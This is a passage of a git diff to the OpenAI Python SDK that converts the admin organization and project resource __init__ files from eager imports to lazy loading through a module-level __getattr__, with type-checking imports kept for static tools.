+ from .spend_alerts import (
+ SpendAlerts as SpendAlerts,
+ AsyncSpendAlerts as AsyncSpendAlerts,
+ SpendAlertsWithRawResponse as SpendAlertsWithRawResponse,
+ AsyncSpendAlertsWithRawResponse as AsyncSpendAlertsWithRawResponse,
+ SpendAlertsWithStreamingResponse as SpendAlertsWithStreamingResponse,
+ AsyncSpendAlertsWithStreamingResponse as AsyncSpendAlertsWithStreamingResponse,
+ )
+ from .admin_api_keys import (
+ AdminAPIKeys as AdminAPIKeys,
+ AsyncAdminAPIKeys as AsyncAdminAPIKeys,
+ AdminAPIKeysWithRawResponse as AdminAPIKeysWithRawResponse,
+ AsyncAdminAPIKeysWithRawResponse as AsyncAdminAPIKeysWithRawResponse,
+ AdminAPIKeysWithStreamingResponse as AdminAPIKeysWithStreamingResponse,
+ AsyncAdminAPIKeysWithStreamingResponse as AsyncAdminAPIKeysWithStreamingResponse,
+ )
+ from .data_retention import (
+ DataRetention as DataRetention,
+ AsyncDataRetention as AsyncDataRetention,
+ DataRetentionWithRawResponse as DataRetentionWithRawResponse,
+ AsyncDataRetentionWithRawResponse as AsyncDataRetentionWithRawResponse,
+ DataRetentionWithStreamingResponse as DataRetentionWithStreamingResponse,
+ AsyncDataRetentionWithStreamingResponse as AsyncDataRetentionWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "AuditLogs": (".audit_logs", "AuditLogs"),
+ "AsyncAuditLogs": (".audit_logs", "AsyncAuditLogs"),
+ "AuditLogsWithRawResponse": (".audit_logs", "AuditLogsWithRawResponse"),
+ "AsyncAuditLogsWithRawResponse": (".audit_logs", "AsyncAuditLogsWithRawResponse"),
+ "AuditLogsWithStreamingResponse": (".audit_logs", "AuditLogsWithStreamingResponse"),
+ "AsyncAuditLogsWithStreamingResponse": (".audit_logs", "AsyncAuditLogsWithStreamingResponse"),
+ "AdminAPIKeys": (".admin_api_keys", "AdminAPIKeys"),
+ "AsyncAdminAPIKeys": (".admin_api_keys", "AsyncAdminAPIKeys"),
+ "AdminAPIKeysWithRawResponse": (".admin_api_keys", "AdminAPIKeysWithRawResponse"),
+ "AsyncAdminAPIKeysWithRawResponse": (".admin_api_keys", "AsyncAdminAPIKeysWithRawResponse"),
+ "AdminAPIKeysWithStreamingResponse": (".admin_api_keys", "AdminAPIKeysWithStreamingResponse"),
+ "AsyncAdminAPIKeysWithStreamingResponse": (".admin_api_keys", "AsyncAdminAPIKeysWithStreamingResponse"),
+ "Usage": (".usage", "Usage"),
+ "AsyncUsage": (".usage", "AsyncUsage"),
+ "UsageWithRawResponse": (".usage", "UsageWithRawResponse"),
+ "AsyncUsageWithRawResponse": (".usage", "AsyncUsageWithRawResponse"),
+ "UsageWithStreamingResponse": (".usage", "UsageWithStreamingResponse"),
+ "AsyncUsageWithStreamingResponse": (".usage", "AsyncUsageWithStreamingResponse"),
+ "Invites": (".invites", "Invites"),
+ "AsyncInvites": (".invites", "AsyncInvites"),
+ "InvitesWithRawResponse": (".invites", "InvitesWithRawResponse"),
+ "AsyncInvitesWithRawResponse": (".invites", "AsyncInvitesWithRawResponse"),
+ "InvitesWithStreamingResponse": (".invites", "InvitesWithStreamingResponse"),
+ "AsyncInvitesWithStreamingResponse": (".invites", "AsyncInvitesWithStreamingResponse"),
+ "Users": (".users", "Users"),
+ "AsyncUsers": (".users", "AsyncUsers"),
+ "UsersWithRawResponse": (".users", "UsersWithRawResponse"),
+ "AsyncUsersWithRawResponse": (".users", "AsyncUsersWithRawResponse"),
+ "UsersWithStreamingResponse": (".users", "UsersWithStreamingResponse"),
+ "AsyncUsersWithStreamingResponse": (".users", "AsyncUsersWithStreamingResponse"),
+ "Groups": (".groups", "Groups"),
+ "AsyncGroups": (".groups", "AsyncGroups"),
+ "GroupsWithRawResponse": (".groups", "GroupsWithRawResponse"),
+ "AsyncGroupsWithRawResponse": (".groups", "AsyncGroupsWithRawResponse"),
+ "GroupsWithStreamingResponse": (".groups", "GroupsWithStreamingResponse"),
+ "AsyncGroupsWithStreamingResponse": (".groups", "AsyncGroupsWithStreamingResponse"),
+ "Roles": (".roles", "Roles"),
+ "AsyncRoles": (".roles", "AsyncRoles"),
+ "RolesWithRawResponse": (".roles", "RolesWithRawResponse"),
+ "AsyncRolesWithRawResponse": (".roles", "AsyncRolesWithRawResponse"),
+ "RolesWithStreamingResponse": (".roles", "RolesWithStreamingResponse"),
+ "AsyncRolesWithStreamingResponse": (".roles", "AsyncRolesWithStreamingResponse"),
+ "DataRetention": (".data_retention", "DataRetention"),
+ "AsyncDataRetention": (".data_retention", "AsyncDataRetention"),
+ "DataRetentionWithRawResponse": (".data_retention", "DataRetentionWithRawResponse"),
+ "AsyncDataRetentionWithRawResponse": (".data_retention", "AsyncDataRetentionWithRawResponse"),
+ "DataRetentionWithStreamingResponse": (".data_retention", "DataRetentionWithStreamingResponse"),
+ "AsyncDataRetentionWithStreamingResponse": (".data_retention", "AsyncDataRetentionWithStreamingResponse"),
+ "SpendLimit": (".spend_limit", "SpendLimit"),
+ "AsyncSpendLimit": (".spend_limit", "AsyncSpendLimit"),
+ "SpendLimitWithRawResponse": (".spend_limit", "SpendLimitWithRawResponse"),
+ "AsyncSpendLimitWithRawResponse": (".spend_limit", "AsyncSpendLimitWithRawResponse"),
+ "SpendLimitWithStreamingResponse": (".spend_limit", "SpendLimitWithStreamingResponse"),
+ "AsyncSpendLimitWithStreamingResponse": (".spend_limit", "AsyncSpendLimitWithStreamingResponse"),
+ "SpendAlerts": (".spend_alerts", "SpendAlerts"),
+ "AsyncSpendAlerts": (".spend_alerts", "AsyncSpendAlerts"),
+ "SpendAlertsWithRawResponse": (".spend_alerts", "SpendAlertsWithRawResponse"),
+ "AsyncSpendAlertsWithRawResponse": (".spend_alerts", "AsyncSpendAlertsWithRawResponse"),
+ "SpendAlertsWithStreamingResponse": (".spend_alerts", "SpendAlertsWithStreamingResponse"),
+ "AsyncSpendAlertsWithStreamingResponse": (".spend_alerts", "AsyncSpendAlertsWithStreamingResponse"),
+ "Certificates": (".certificates", "Certificates"),
+ "AsyncCertificates": (".certificates", "AsyncCertificates"),
+ "CertificatesWithRawResponse": (".certificates", "CertificatesWithRawResponse"),
+ "AsyncCertificatesWithRawResponse": (".certificates", "AsyncCertificatesWithRawResponse"),
+ "CertificatesWithStreamingResponse": (".certificates", "CertificatesWithStreamingResponse"),
+ "AsyncCertificatesWithStreamingResponse": (".certificates", "AsyncCertificatesWithStreamingResponse"),
+ "Projects": (".projects", "Projects"),
+ "AsyncProjects": (".projects", "AsyncProjects"),
+ "ProjectsWithRawResponse": (".projects", "ProjectsWithRawResponse"),
+ "AsyncProjectsWithRawResponse": (".projects", "AsyncProjectsWithRawResponse"),
+ "ProjectsWithStreamingResponse": (".projects", "ProjectsWithStreamingResponse"),
+ "AsyncProjectsWithStreamingResponse": (".projects", "AsyncProjectsWithStreamingResponse"),
+ "Organization": (".organization", "Organization"),
+ "AsyncOrganization": (".organization", "AsyncOrganization"),
+ "OrganizationWithRawResponse": (".organization", "OrganizationWithRawResponse"),
+ "AsyncOrganizationWithRawResponse": (".organization", "AsyncOrganizationWithRawResponse"),
+ "OrganizationWithStreamingResponse": (".organization", "OrganizationWithStreamingResponse"),
+ "AsyncOrganizationWithStreamingResponse": (".organization", "AsyncOrganizationWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "admin_api_keys",
+ "audit_logs",
+ "certificates",
+ "data_retention",
+ "groups",
+ "invites",
+ "organization",
+ "projects",
+ "roles",
+ "spend_alerts",
+ "spend_limit",
+ "usage",
+ "users",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"AuditLogs",
diff --git a/src/openai/resources/admin/organization/groups/__init__.py b/src/openai/resources/admin/organization/groups/__init__.py
index 692e070916..f8a531b098 100644
--- a/src/openai/resources/admin/organization/groups/__init__.py
+++ b/src/openai/resources/admin/organization/groups/__init__.py
@@ -1,29 +1,76 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .roles import (
- Roles,
- AsyncRoles,
- RolesWithRawResponse,
- AsyncRolesWithRawResponse,
- RolesWithStreamingResponse,
- AsyncRolesWithStreamingResponse,
-)
-from .users import (
- Users,
- AsyncUsers,
- UsersWithRawResponse,
- AsyncUsersWithRawResponse,
- UsersWithStreamingResponse,
- AsyncUsersWithStreamingResponse,
-)
-from .groups import (
- Groups,
- AsyncGroups,
- GroupsWithRawResponse,
- AsyncGroupsWithRawResponse,
- GroupsWithStreamingResponse,
- AsyncGroupsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .roles import (
+ Roles as Roles,
+ AsyncRoles as AsyncRoles,
+ RolesWithRawResponse as RolesWithRawResponse,
+ AsyncRolesWithRawResponse as AsyncRolesWithRawResponse,
+ RolesWithStreamingResponse as RolesWithStreamingResponse,
+ AsyncRolesWithStreamingResponse as AsyncRolesWithStreamingResponse,
+ )
+ from .users import (
+ Users as Users,
+ AsyncUsers as AsyncUsers,
+ UsersWithRawResponse as UsersWithRawResponse,
+ AsyncUsersWithRawResponse as AsyncUsersWithRawResponse,
+ UsersWithStreamingResponse as UsersWithStreamingResponse,
+ AsyncUsersWithStreamingResponse as AsyncUsersWithStreamingResponse,
+ )
+ from .groups import (
+ Groups as Groups,
+ AsyncGroups as AsyncGroups,
+ GroupsWithRawResponse as GroupsWithRawResponse,
+ AsyncGroupsWithRawResponse as AsyncGroupsWithRawResponse,
+ GroupsWithStreamingResponse as GroupsWithStreamingResponse,
+ AsyncGroupsWithStreamingResponse as AsyncGroupsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Users": (".users", "Users"),
+ "AsyncUsers": (".users", "AsyncUsers"),
+ "UsersWithRawResponse": (".users", "UsersWithRawResponse"),
+ "AsyncUsersWithRawResponse": (".users", "AsyncUsersWithRawResponse"),
+ "UsersWithStreamingResponse": (".users", "UsersWithStreamingResponse"),
+ "AsyncUsersWithStreamingResponse": (".users", "AsyncUsersWithStreamingResponse"),
+ "Roles": (".roles", "Roles"),
+ "AsyncRoles": (".roles", "AsyncRoles"),
+ "RolesWithRawResponse": (".roles", "RolesWithRawResponse"),
+ "AsyncRolesWithRawResponse": (".roles", "AsyncRolesWithRawResponse"),
+ "RolesWithStreamingResponse": (".roles", "RolesWithStreamingResponse"),
+ "AsyncRolesWithStreamingResponse": (".roles", "AsyncRolesWithStreamingResponse"),
+ "Groups": (".groups", "Groups"),
+ "AsyncGroups": (".groups", "AsyncGroups"),
+ "GroupsWithRawResponse": (".groups", "GroupsWithRawResponse"),
+ "AsyncGroupsWithRawResponse": (".groups", "AsyncGroupsWithRawResponse"),
+ "GroupsWithStreamingResponse": (".groups", "GroupsWithStreamingResponse"),
+ "AsyncGroupsWithStreamingResponse": (".groups", "AsyncGroupsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "groups",
+ "roles",
+ "users",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Users",
diff --git a/src/openai/resources/admin/organization/projects/__init__.py b/src/openai/resources/admin/organization/projects/__init__.py
index cf67142351..9336ac93b5 100644
--- a/src/openai/resources/admin/organization/projects/__init__.py
+++ b/src/openai/resources/admin/organization/projects/__init__.py
@@ -1,109 +1,238 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .roles import (
- Roles,
- AsyncRoles,
- RolesWithRawResponse,
- AsyncRolesWithRawResponse,
- RolesWithStreamingResponse,
- AsyncRolesWithStreamingResponse,
-)
-from .users import (
- Users,
- AsyncUsers,
- UsersWithRawResponse,
- AsyncUsersWithRawResponse,
- UsersWithStreamingResponse,
- AsyncUsersWithStreamingResponse,
-)
-from .groups import (
- Groups,
- AsyncGroups,
- GroupsWithRawResponse,
- AsyncGroupsWithRawResponse,
- GroupsWithStreamingResponse,
- AsyncGroupsWithStreamingResponse,
-)
-from .api_keys import (
- APIKeys,
- AsyncAPIKeys,
- APIKeysWithRawResponse,
- AsyncAPIKeysWithRawResponse,
- APIKeysWithStreamingResponse,
- AsyncAPIKeysWithStreamingResponse,
-)
-from .projects import (
- Projects,
- AsyncProjects,
- ProjectsWithRawResponse,
- AsyncProjectsWithRawResponse,
- ProjectsWithStreamingResponse,
- AsyncProjectsWithStreamingResponse,
-)
-from .rate_limits import (
- RateLimits,
- AsyncRateLimits,
- RateLimitsWithRawResponse,
- AsyncRateLimitsWithRawResponse,
- RateLimitsWithStreamingResponse,
- AsyncRateLimitsWithStreamingResponse,
-)
-from .spend_limit import (
- SpendLimit,
- AsyncSpendLimit,
- SpendLimitWithRawResponse,
- AsyncSpendLimitWithRawResponse,
- SpendLimitWithStreamingResponse,
- AsyncSpendLimitWithStreamingResponse,
-)
-from .certificates import (
- Certificates,
- AsyncCertificates,
- CertificatesWithRawResponse,
- AsyncCertificatesWithRawResponse,
- CertificatesWithStreamingResponse,
- AsyncCertificatesWithStreamingResponse,
-)
-from .spend_alerts import (
- SpendAlerts,
- AsyncSpendAlerts,
- SpendAlertsWithRawResponse,
- AsyncSpendAlertsWithRawResponse,
- SpendAlertsWithStreamingResponse,
- AsyncSpendAlertsWithStreamingResponse,
-)
-from .data_retention import (
- DataRetention,
- AsyncDataRetention,
- DataRetentionWithRawResponse,
- AsyncDataRetentionWithRawResponse,
- DataRetentionWithStreamingResponse,
- AsyncDataRetentionWithStreamingResponse,
-)
-from .service_accounts import (
- ServiceAccounts,
- AsyncServiceAccounts,
- ServiceAccountsWithRawResponse,
- AsyncServiceAccountsWithRawResponse,
- ServiceAccountsWithStreamingResponse,
- AsyncServiceAccountsWithStreamingResponse,
-)
-from .model_permissions import (
- ModelPermissions,
- AsyncModelPermissions,
- ModelPermissionsWithRawResponse,
- AsyncModelPermissionsWithRawResponse,
- ModelPermissionsWithStreamingResponse,
- AsyncModelPermissionsWithStreamingResponse,
-)
-from .hosted_tool_permissions import (
- HostedToolPermissions,
- AsyncHostedToolPermissions,
- HostedToolPermissionsWithRawResponse,
- AsyncHostedToolPermissionsWithRawResponse,
- HostedToolPermissionsWithStreamingResponse,
- AsyncHostedToolPermissionsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .roles import (
+ Roles as Roles,
+ AsyncRoles as AsyncRoles,
+ RolesWithRawResponse as RolesWithRawResponse,
+ AsyncRolesWithRawResponse as AsyncRolesWithRawResponse,
+ RolesWithStreamingResponse as RolesWithStreamingResponse,
+ AsyncRolesWithStreamingResponse as AsyncRolesWithStreamingResponse,
+ )
+ from .users import (
+ Users as Users,
+ AsyncUsers as AsyncUsers,
+ UsersWithRawResponse as UsersWithRawResponse,
+ AsyncUsersWithRawResponse as AsyncUsersWithRawResponse,
+ UsersWithStreamingResponse as UsersWithStreamingResponse,
+ AsyncUsersWithStreamingResponse as AsyncUsersWithStreamingResponse,
+ )
+ from .groups import (
+ Groups as Groups,
+ AsyncGroups as AsyncGroups,
+ GroupsWithRawResponse as GroupsWithRawResponse,
+ AsyncGroupsWithRawResponse as AsyncGroupsWithRawResponse,
+ GroupsWithStreamingResponse as GroupsWithStreamingResponse,
+ AsyncGroupsWithStreamingResponse as AsyncGroupsWithStreamingResponse,
+ )
+ from .api_keys import (
+ APIKeys as APIKeys,
+ AsyncAPIKeys as AsyncAPIKeys,
+ APIKeysWithRawResponse as APIKeysWithRawResponse,
+ AsyncAPIKeysWithRawResponse as AsyncAPIKeysWithRawResponse,
+ APIKeysWithStreamingResponse as APIKeysWithStreamingResponse,
+ AsyncAPIKeysWithStreamingResponse as AsyncAPIKeysWithStreamingResponse,
+ )
+ from .projects import (
+ Projects as Projects,
+ AsyncProjects as AsyncProjects,
+ ProjectsWithRawResponse as ProjectsWithRawResponse,
+ AsyncProjectsWithRawResponse as AsyncProjectsWithRawResponse,
+ ProjectsWithStreamingResponse as ProjectsWithStreamingResponse,
+ AsyncProjectsWithStreamingResponse as AsyncProjectsWithStreamingResponse,
+ )
+ from .rate_limits import (
+ RateLimits as RateLimits,
+ AsyncRateLimits as AsyncRateLimits,
+ RateLimitsWithRawResponse as RateLimitsWithRawResponse,
+ AsyncRateLimitsWithRawResponse as AsyncRateLimitsWithRawResponse,
+ RateLimitsWithStreamingResponse as RateLimitsWithStreamingResponse,
+ AsyncRateLimitsWithStreamingResponse as AsyncRateLimitsWithStreamingResponse,
+ )
+ from .spend_limit import (
+ SpendLimit as SpendLimit,
+ AsyncSpendLimit as AsyncSpendLimit,
+ SpendLimitWithRawResponse as SpendLimitWithRawResponse,
+ AsyncSpendLimitWithRawResponse as AsyncSpendLimitWithRawResponse,
+ SpendLimitWithStreamingResponse as SpendLimitWithStreamingResponse,
+ AsyncSpendLimitWithStreamingResponse as AsyncSpendLimitWithStreamingResponse,
+ )
+ from .certificates import (
+ Certificates as Certificates,
+ AsyncCertificates as AsyncCertificates,
+ CertificatesWithRawResponse as CertificatesWithRawResponse,
+ AsyncCertificatesWithRawResponse as AsyncCertificatesWithRawResponse,
+ CertificatesWithStreamingResponse as CertificatesWithStreamingResponse,
+ AsyncCertificatesWithStreamingResponse as AsyncCertificatesWithStreamingResponse,
+ )
+ from .spend_alerts import (
+ SpendAlerts as SpendAlerts,
+ AsyncSpendAlerts as AsyncSpendAlerts,
+ SpendAlertsWithRawResponse as SpendAlertsWithRawResponse,
+ AsyncSpendAlertsWithRawResponse as AsyncSpendAlertsWithRawResponse,
+ SpendAlertsWithStreamingResponse as SpendAlertsWithStreamingResponse,
+ AsyncSpendAlertsWithStreamingResponse as AsyncSpendAlertsWithStreamingResponse,
+ )
+ from .data_retention import (
+ DataRetention as DataRetention,
+ AsyncDataRetention as AsyncDataRetention,
+ DataRetentionWithRawResponse as DataRetentionWithRawResponse,
+ AsyncDataRetentionWithRawResponse as AsyncDataRetentionWithRawResponse,
+ DataRetentionWithStreamingResponse as DataRetentionWithStreamingResponse,
+ AsyncDataRetentionWithStreamingResponse as AsyncDataRetentionWithStreamingResponse,
+ )
+ from .service_accounts import (
+ ServiceAccounts as ServiceAccounts,
+ AsyncServiceAccounts as AsyncServiceAccounts,
+ ServiceAccountsWithRawResponse as ServiceAccountsWithRawResponse,
+ AsyncServiceAccountsWithRawResponse as AsyncServiceAccountsWithRawResponse,
+ ServiceAccountsWithStreamingResponse as ServiceAccountsWithStreamingResponse,
+ AsyncServiceAccountsWithStreamingResponse as AsyncServiceAccountsWithStreamingResponse,
+ )
+ from .model_permissions import (
+ ModelPermissions as ModelPermissions,
+ AsyncModelPermissions as AsyncModelPermissions,
+ ModelPermissionsWithRawResponse as ModelPermissionsWithRawResponse,
+ AsyncModelPermissionsWithRawResponse as AsyncModelPermissionsWithRawResponse,
+ ModelPermissionsWithStreamingResponse as ModelPermissionsWithStreamingResponse,
+ AsyncModelPermissionsWithStreamingResponse as AsyncModelPermissionsWithStreamingResponse,
+ )
+ from .hosted_tool_permissions import (
+ HostedToolPermissions as HostedToolPermissions,
+ AsyncHostedToolPermissions as AsyncHostedToolPermissions,
+ HostedToolPermissionsWithRawResponse as HostedToolPermissionsWithRawResponse,
+ AsyncHostedToolPermissionsWithRawResponse as AsyncHostedToolPermissionsWithRawResponse,
+ HostedToolPermissionsWithStreamingResponse as HostedToolPermissionsWithStreamingResponse,
+ AsyncHostedToolPermissionsWithStreamingResponse as AsyncHostedToolPermissionsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Users": (".users", "Users"),
+ "AsyncUsers": (".users", "AsyncUsers"),
+ "UsersWithRawResponse": (".users", "UsersWithRawResponse"),
+ "AsyncUsersWithRawResponse": (".users", "AsyncUsersWithRawResponse"),
+ "UsersWithStreamingResponse": (".users", "UsersWithStreamingResponse"),
+ "AsyncUsersWithStreamingResponse": (".users", "AsyncUsersWithStreamingResponse"),
+ "ServiceAccounts": (".service_accounts", "ServiceAccounts"),
+ "AsyncServiceAccounts": (".service_accounts", "AsyncServiceAccounts"),
+ "ServiceAccountsWithRawResponse": (".service_accounts", "ServiceAccountsWithRawResponse"),
+ "AsyncServiceAccountsWithRawResponse": (".service_accounts", "AsyncServiceAccountsWithRawResponse"),
+ "ServiceAccountsWithStreamingResponse": (".service_accounts", "ServiceAccountsWithStreamingResponse"),
+ "AsyncServiceAccountsWithStreamingResponse": (".service_accounts", "AsyncServiceAccountsWithStreamingResponse"),
+ "APIKeys": (".api_keys", "APIKeys"),
+ "AsyncAPIKeys": (".api_keys", "AsyncAPIKeys"),
+ "APIKeysWithRawResponse": (".api_keys", "APIKeysWithRawResponse"),
+ "AsyncAPIKeysWithRawResponse": (".api_keys", "AsyncAPIKeysWithRawResponse"),
+ "APIKeysWithStreamingResponse": (".api_keys", "APIKeysWithStreamingResponse"),
+ "AsyncAPIKeysWithStreamingResponse": (".api_keys", "AsyncAPIKeysWithStreamingResponse"),
+ "RateLimits": (".rate_limits", "RateLimits"),
+ "AsyncRateLimits": (".rate_limits", "AsyncRateLimits"),
+ "RateLimitsWithRawResponse": (".rate_limits", "RateLimitsWithRawResponse"),
+ "AsyncRateLimitsWithRawResponse": (".rate_limits", "AsyncRateLimitsWithRawResponse"),
+ "RateLimitsWithStreamingResponse": (".rate_limits", "RateLimitsWithStreamingResponse"),
+ "AsyncRateLimitsWithStreamingResponse": (".rate_limits", "AsyncRateLimitsWithStreamingResponse"),
+ "ModelPermissions": (".model_permissions", "ModelPermissions"),
+ "AsyncModelPermissions": (".model_permissions", "AsyncModelPermissions"),
+ "ModelPermissionsWithRawResponse": (".model_permissions", "ModelPermissionsWithRawResponse"),
+ "AsyncModelPermissionsWithRawResponse": (".model_permissions", "AsyncModelPermissionsWithRawResponse"),
+ "ModelPermissionsWithStreamingResponse": (".model_permissions", "ModelPermissionsWithStreamingResponse"),
+ "AsyncModelPermissionsWithStreamingResponse": (
+ ".model_permissions",
+ "AsyncModelPermissionsWithStreamingResponse",
+ ),
+ "HostedToolPermissions": (".hosted_tool_permissions", "HostedToolPermissions"),
+ "AsyncHostedToolPermissions": (".hosted_tool_permissions", "AsyncHostedToolPermissions"),
+ "HostedToolPermissionsWithRawResponse": (".hosted_tool_permissions", "HostedToolPermissionsWithRawResponse"),
+ "AsyncHostedToolPermissionsWithRawResponse": (
+ ".hosted_tool_permissions",
+ "AsyncHostedToolPermissionsWithRawResponse",
+ ),
+ "HostedToolPermissionsWithStreamingResponse": (
+ ".hosted_tool_permissions",
+ "HostedToolPermissionsWithStreamingResponse",
+ ),
+ "AsyncHostedToolPermissionsWithStreamingResponse": (
+ ".hosted_tool_permissions",
+ "AsyncHostedToolPermissionsWithStreamingResponse",
+ ),
+ "Groups": (".groups", "Groups"),
+ "AsyncGroups": (".groups", "AsyncGroups"),
+ "GroupsWithRawResponse": (".groups", "GroupsWithRawResponse"),
+ "AsyncGroupsWithRawResponse": (".groups", "AsyncGroupsWithRawResponse"),
+ "GroupsWithStreamingResponse": (".groups", "GroupsWithStreamingResponse"),
+ "AsyncGroupsWithStreamingResponse": (".groups", "AsyncGroupsWithStreamingResponse"),
+ "Roles": (".roles", "Roles"),
+ "AsyncRoles": (".roles", "AsyncRoles"),
+ "RolesWithRawResponse": (".roles", "RolesWithRawResponse"),
+ "AsyncRolesWithRawResponse": (".roles", "AsyncRolesWithRawResponse"),
+ "RolesWithStreamingResponse": (".roles", "RolesWithStreamingResponse"),
+ "AsyncRolesWithStreamingResponse": (".roles", "AsyncRolesWithStreamingResponse"),
+ "DataRetention": (".data_retention", "DataRetention"),
+ "AsyncDataRetention": (".data_retention", "AsyncDataRetention"),
+ "DataRetentionWithRawResponse": (".data_retention", "DataRetentionWithRawResponse"),
+ "AsyncDataRetentionWithRawResponse": (".data_retention", "AsyncDataRetentionWithRawResponse"),
+ "DataRetentionWithStreamingResponse": (".data_retention", "DataRetentionWithStreamingResponse"),
+ "AsyncDataRetentionWithStreamingResponse": (".data_retention", "AsyncDataRetentionWithStreamingResponse"),
+ "SpendLimit": (".spend_limit", "SpendLimit"),
+ "AsyncSpendLimit": (".spend_limit", "AsyncSpendLimit"),
+ "SpendLimitWithRawResponse": (".spend_limit", "SpendLimitWithRawResponse"),
+ "AsyncSpendLimitWithRawResponse": (".spend_limit", "AsyncSpendLimitWithRawResponse"),
+ "SpendLimitWithStreamingResponse": (".spend_limit", "SpendLimitWithStreamingResponse"),
+ "AsyncSpendLimitWithStreamingResponse": (".spend_limit", "AsyncSpendLimitWithStreamingResponse"),
+ "SpendAlerts": (".spend_alerts", "SpendAlerts"),
+ "AsyncSpendAlerts": (".spend_alerts", "AsyncSpendAlerts"),
+ "SpendAlertsWithRawResponse": (".spend_alerts", "SpendAlertsWithRawResponse"),
+ "AsyncSpendAlertsWithRawResponse": (".spend_alerts", "AsyncSpendAlertsWithRawResponse"),
+ "SpendAlertsWithStreamingResponse": (".spend_alerts", "SpendAlertsWithStreamingResponse"),
+ "AsyncSpendAlertsWithStreamingResponse": (".spend_alerts", "AsyncSpendAlertsWithStreamingResponse"),
+ "Certificates": (".certificates", "Certificates"),
+ "AsyncCertificates": (".certificates", "AsyncCertificates"),
+ "CertificatesWithRawResponse": (".certificates", "CertificatesWithRawResponse"),
+ "AsyncCertificatesWithRawResponse": (".certificates", "AsyncCertificatesWithRawResponse"),
+ "CertificatesWithStreamingResponse": (".certificates", "CertificatesWithStreamingResponse"),
+ "AsyncCertificatesWithStreamingResponse": (".certificates", "AsyncCertificatesWithStreamingResponse"),
+ "Projects": (".projects", "Projects"),
+ "AsyncProjects": (".projects", "AsyncProjects"),
+ "ProjectsWithRawResponse": (".projects", "ProjectsWithRawResponse"),
+ "AsyncProjectsWithRawResponse": (".projects", "AsyncProjectsWithRawResponse"),
+ "ProjectsWithStreamingResponse": (".projects", "ProjectsWithStreamingResponse"),
+ "AsyncProjectsWithStreamingResponse": (".projects", "AsyncProjectsWithStreamingResponse"),
+ }
+ _SUBMODULES = {
+ "api_keys",
+ "certificates",
+ "data_retention",
+ "groups",
+ "hosted_tool_permissions",
+ "model_permissions",
+ "projects",
+ "rate_limits",
+ "roles",
+ "service_accounts",
+ "spend_alerts",
+ "spend_limit",
+ "users",
+ }
+
+ def __getattr__(name: str) -> _t.Any:
+ import importlib
+
+ if name in _EXPORTS:
+ module_name, symbol_name = _EXPORTS[name]
+ value = getattr(importlib.import_module(module_name, __name__), symbol_name)
+ elif name in _SUBMODULES:
+ value = importlib.import_module(f".{name}", __name__)
+ else:
+ raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
+ globals()[name] = value
+ return value
+
+ def __dir__() -> list[str]:
+ return sorted(set(globals()) | set(_EXPORTS) | _SUBMODULES)
+
__all__ = [
"Users",
diff --git a/src/openai/resources/admin/organization/projects/groups/__init__.py b/src/openai/resources/admin/organization/projects/groups/__init__.py
index 2e6396d283..50fbe34391 100644
--- a/src/openai/resources/admin/organization/projects/groups/__init__.py
+++ b/src/openai/resources/admin/organization/projects/groups/__init__.py
@@ -1,21 +1,61 @@
# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
-from .roles import (
- Roles,
- AsyncRoles,
- RolesWithRawResponse,
- AsyncRolesWithRawResponse,
- RolesWithStreamingResponse,
- AsyncRolesWithStreamingResponse,
-)
-from .groups import (
- Groups,
- AsyncGroups,
- GroupsWithRawResponse,
- AsyncGroupsWithRawResponse,
- GroupsWithStreamingResponse,
- AsyncGroupsWithStreamingResponse,
-)
+import typing as _t
+
+if _t.TYPE_CHECKING:
+ from .roles import (
+ Roles as Roles,
+ AsyncRoles as AsyncRoles,
+ RolesWithRawResponse as RolesWithRawResponse,
+ AsyncRolesWithRawResponse as AsyncRolesWithRawResponse,
+ RolesWithStreamingResponse as RolesWithStreamingResponse,
+ AsyncRolesWithStreamingResponse as AsyncRolesWithStreamingResponse,
+ )
+ from .groups import (
+ Groups as Groups,
+ AsyncGroups as AsyncGroups,
+ GroupsWithRawResponse as GroupsWithRawResponse,
+ AsyncGroupsWithRawResponse as AsyncGroupsWithRawResponse,
+ GroupsWithStreamingResponse as GroupsWithStreamingResponse,
+ AsyncGroupsWithStreamingResponse as AsyncGroupsWithStreamingResponse,
+ )
+
+else:
+ _EXPORTS = {
+ "Roles": (".roles", "Roles"),
+ "AsyncRoles": (".roles", "AsyncRoles"),
+ "RolesWithRawResponse": (".roles", "RolesWithRawResponse"),
+ "AsyncRolesWithRawResponse": (".roles", "AsyncRolesWithRawResponse"),
+ "RolesWithStreamingResponse": (".roles", "RolesWithStreamingResponse"),
+ "AsyncRolesWithStreamingResponse": (".roles", "AsyncRolesWithStreamingResponse"),
+ "Groups": (".groups", "Groups"),
+ "AsyncGroups": (".groups", "AsyncGroups"),
+ "GroupsWithRawResponse": (".groups", "GroupsWithRawResponse"),
+ "AsyncGroupsWithRawResponse": (".groups", "AsyncGroupsWithRawResponse"),
